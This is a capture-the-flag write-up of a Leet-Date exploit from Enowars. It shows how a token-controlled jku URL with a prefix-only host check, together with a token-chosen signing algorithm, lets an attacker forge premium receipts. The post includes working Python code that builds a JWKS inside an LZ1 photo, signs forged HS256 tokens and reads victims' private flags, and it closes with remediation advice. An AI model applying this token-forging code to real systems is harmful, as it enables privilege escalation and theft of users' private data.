all notes

ENOWARS 10 Leet-Date, Part 2: Forging Premium Receipts

A token-controlled JWKS URL and the service's own photo endpoint let me mint a premium account.

The premium flag store

This is Part 2 of a three-part series about Leet-Date from Enowars. Part 1 explains how the custom LZ1 codec leaked data between requests.

This part targets the private perk field on a user's profile. The scoreboard gave us the victim's public handle, but the corresponding perk endpoint required a premium account:

GET /api/users//perk

A normal user became premium by submitting a JWT receipt issued by a separate payment service. The main API verified the receipt and upgraded the current account. There was no need to compromise the victim session if I could forge a receipt for my own account.

How receipt verification was supposed to work

The payment service signed receipts and published its verification keys as a JSON Web Key Set, or JWKS. A receipt carried a kid header identifying the key that had signed it. The main service first looked for that key in its configured JWKS.

The verifier also supported JWTs containing a jku header. In JOSE, jku is a URL pointing to a JWKS. If the configured set did not contain the requested kid, Leet-Date fetched the URL supplied by the token and searched the returned set.

Allowing a token to choose a key server is dangerous, so the application tried to restrict the URL to its internal payment service:

func allowedJKU(raw string) bool {
    u, err := url.Parse(raw)
    if err != nil {
        return false
    }
    return strings.HasPrefix(u.Host, "payments")
}

The fallback later used that decision exactly as expected:

if key == nil {
    jkuStr := hdr.JWKSetURL()
    if jkuStr != "" && allowedJKU(jkuStr) {
        if set, err := v.fetchSet(ctx, jkuStr); err == nil {
            if k, ok := set.LookupKeyID(kid); ok {
                key = k
            }
        }
    }
}

u.Host contains the complete authority, including the hostname and optional port. The prefix comparison accepted far more than the intended service. Names such as payments-evil, payments.example, and payments@other-host all begin with the required string while identifying something else after URL parsing.

For this deployment, payments-evil was the useful choice.

A hostname prepared for the exploit

The Compose configuration added this host entry to the service container:

extra_hosts:
  - "payments-evil:host-gateway"

host-gateway resolves to the Docker host. Leet-Date itself was published on port 6789, so a request from inside the container to the following authority returned to that team's own application:

http://payments-evil:6789/

The hostname passed strings.HasPrefix(u.Host, "payments"), and the network request reached a server whose responses I could influence through Leet-Date's public endpoints.

Locally, I first confirmed the verifier bug with a small HTTP server that returned my own RSA public key. I signed a receipt with the corresponding private key and pointed jku at that server. The premium upgrade and flag read both succeeded:

redeem 200 {"amount_cents":500,"is_premium":true,"ok":true}
read_perk 200 {"handle":"...","perk_text":"FLAG{premium_perk_...}"}

That established the JWT issue, but a farm exploit could not depend on running a callback server reachable from every opponent container. I needed each victim to host my JWKS for me.

Serving a JWKS through a profile photo

Leet-Date's custom photo codec provided a public byte-serving endpoint. An authenticated user could upload an LZ1 stream, and anyone fetching /api/photos/<id> received its decompressed output.

LZ1 opcode 0x00 emits the next byte as a literal. By encoding every byte of a JSON document as one literal instruction, I could make a photo response contain an arbitrary JWKS.

The final exploit used a symmetric HMAC key:

jwks = {
    "keys": [{
        "kty": "oct",
        "kid": key_id,
        "alg": "HS256",
        "k": b64u(secret),
    }]
}

blob = bytearray(b"LZ1\x00")
for byte in json.dumps(jwks, separators=(",", ":")).encode():
    blob += b"\x00" + bytes([byte])

After uploading the blob, the photo endpoint behaved like a tiny static JWKS server. The forged JWT pointed jku back at that photo through the accepted hostname:

header = {
    "alg": "HS256",
    "kid": key_id,
    "jku": f"http://payments-evil:6789/api/photos/{photo_id}",
}

payload = {
    "iss": "leetdate-payments",
    "aud": "leetdate",
    "sub": attacker_handle,
    "iat": now,
    "exp": now + 300,
    "jti": random_string(),
    "amount_cents": 500,
}

When the victim service verified this receipt, it made an HTTP request to itself. The photo handler decompressed my LZ1 stream into JSON, the verifier parsed my symmetric key from that JSON, and the token's kid selected it.

No infrastructure outside the target was involved. Registering an account and uploading one photo installed the key material needed for the rest of the exploit.

Why HS256 worked

Legitimate receipts used an asymmetric algorithm, so my first proof generated an RSA key pair and built a corresponding JWK. The verifier contained another shortcut that made the production exploit smaller.

After selecting a key, it read the signing algorithm from the untrusted token header and passed both values into the JWT library:

alg := hdr.Algorithm()

tok, err := jwt.Parse(
    []byte(tokenStr),
    jwt.WithKey(alg, key),
    jwt.WithVerify(true),
    // issuer, audience, and time checks
)

The application did not pin the algorithm expected for a payment receipt. Because the fetched JWKS was also under my control, I could publish an oct key, choose HS256, and calculate the signature with Python's standard library:

encoded_header = b64u(
    json.dumps(header, separators=(",", ":")).encode()
)
encoded_payload = b64u(
    json.dumps(payload, separators=(",", ":")).encode()
)

message = f"{encoded_header}.{encoded_payload}".encode()
signature = b64u(
    hmac.new(secret, message, hashlib.sha256).digest()
)
token = f"{message.decode()}.{signature}"

The weakness here was broader than the familiar RSA-to-HMAC confusion. The verifier accepted both the key source and the algorithm selected by the token, so the attacker could provide a key type that matched the algorithm they chose.

Reading the premium flag store

The attack-defense script performed the expensive setup once per target team:

  1. Register an attacker account.
  2. Upload the LZ1-encoded JWKS and record its photo ID.
  3. Forge a short-lived receipt pointing at that photo.
  4. Redeem the receipt and turn the attacker account premium.

Redemption was a normal API call:

response = session.post(
    f"{URL}/api/me/redeem-premium",
    json={"token": token},
)
response.raise_for_status()

After that, every scoreboard flag ID only required one authenticated read:

for flag_id in flag_ids:
    victim_handle = json.loads(flag_id)["handle"]
    data = session.get(
        f"{URL}/api/users/{victim_handle}/perk"
    ).json()
    print(data["perk_text"])

One farm run appeared to stall after a successful redemption. Logging the registration, upload, redemption, and perk-read stages separately showed that the exploit had already worked; the delay came from downloading a large scoreboard attack.json file afterward. Keeping those steps visible avoided changing the JWT logic to fix an unrelated timeout.

Download the complete solver

Fixing receipt verification

The receipt should not be allowed to choose where its verification key comes from. The cleanest fix is to remove support for token-controlled jku and configure the payment service's JWKS URL on the server.

If multiple key servers are genuinely required, the verifier should map a trusted issuer to an exact scheme, hostname, and port. A prefix comparison on the raw authority is not a hostname allow-list.

The signing algorithm should also be part of server configuration. Payment receipts can be restricted to the algorithm used by the payment service before any key is selected or signature is checked.

Finally, the redemption handler should bind the receipt to the account being upgraded. Issuer, audience, expiry, amount, and signature checks do not establish that the receipt's subject is the current user unless that comparison is made explicitly.

The photo endpoint made the exploit self-contained, but the verifier created the vulnerability. It accepted a trust anchor and signing method chosen by the same token it was supposed to authenticate.

Continue with Part 3

Continue with Part 3: Reading Leet-Date's Private Chats over WebSockets